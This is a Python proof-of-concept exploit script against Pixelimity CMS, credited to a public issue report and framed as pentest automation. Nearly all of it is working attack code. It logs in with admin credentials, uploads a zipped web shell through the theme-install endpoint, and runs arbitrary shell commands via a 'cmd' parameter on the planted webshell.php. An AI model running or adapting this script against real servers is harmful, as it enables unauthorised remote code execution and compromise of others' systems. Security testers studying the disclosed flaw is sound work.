#!/usr/bin/env python # -*- coding: utf-8 -*- # The vulnerability was discovered by tuando243 (https://github.com/pixelimity/pixelimity/issues/24) # This vuln is more an Arbitrary File Upload which may lead to RCE more than an RCE by itself # This is just a PoC to automate the execution of some easy payloads during the engagements/pentests import requests import sys import argparse import getpass import urllib3 import urllib from termcolor import colored, cprint from res.functions import * urllib3.disable_warnings() p = argparse.ArgumentParser() p.add_argument("-d", action='store_true', help="Debug output", default=False) p.add_argument("-q", action='store_true', help="Do not print the banner") p.add_argument("--url", help="url: https://server:8081/", required=True) p.add_argument("--user", help="admin user", required=True) p.add_argument("--password", help="admin password") p.add_argument("-c", dest="command", help="Command to execute. Default: id", default="id") if ("-q" not in sys.argv): banner() args = p.parse_args() debug = args.d base_url = args.url login_url = f"{base_url}/admin/signin.php" admin_ajax_url = f"{base_url}/admin/admin-ajax.php?action=install_theme" webshell_url = f"{base_url}/themes/webshell.php" username = args.user password = None if ("--password" not in sys.argv): password = getpass.getpass(prompt=f'Password {username}: ') else: password = args.password session = requests.Session() csrftoken = fetch_csrf_token() php_session = login(session, login_url, username, password, None) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0", "DNT": "1", "Cookie": f"language=en; welcomebanner_status=dismiss; PHPSESSID={php_session}", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "iframe", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin" } check_webshell = requests.get(webshell_url) # Webshell does not exist, uploading... if check_webshell.status_code != 200: # Content-Type application/zip is mandatory inside the boundary, otherwise the upload will fail files = { 'theme': ('webshell.zip', open("webshell.zip", "rb"), 'application/zip')} response = requests.post(admin_ajax_url, files=files, headers=headers) if response.status_code == 200: cprint("[OK] WebShell uploaded", "green") else: cprint("[INFO] Seems that webshell was already uploaded", "green") command = args.command cmd_resp = requests.get(webshell_url + f"?cmd={urllib.parse.quote(command)}") cprint(f"Executing: {command}", "blue") print(cmd_resp.text)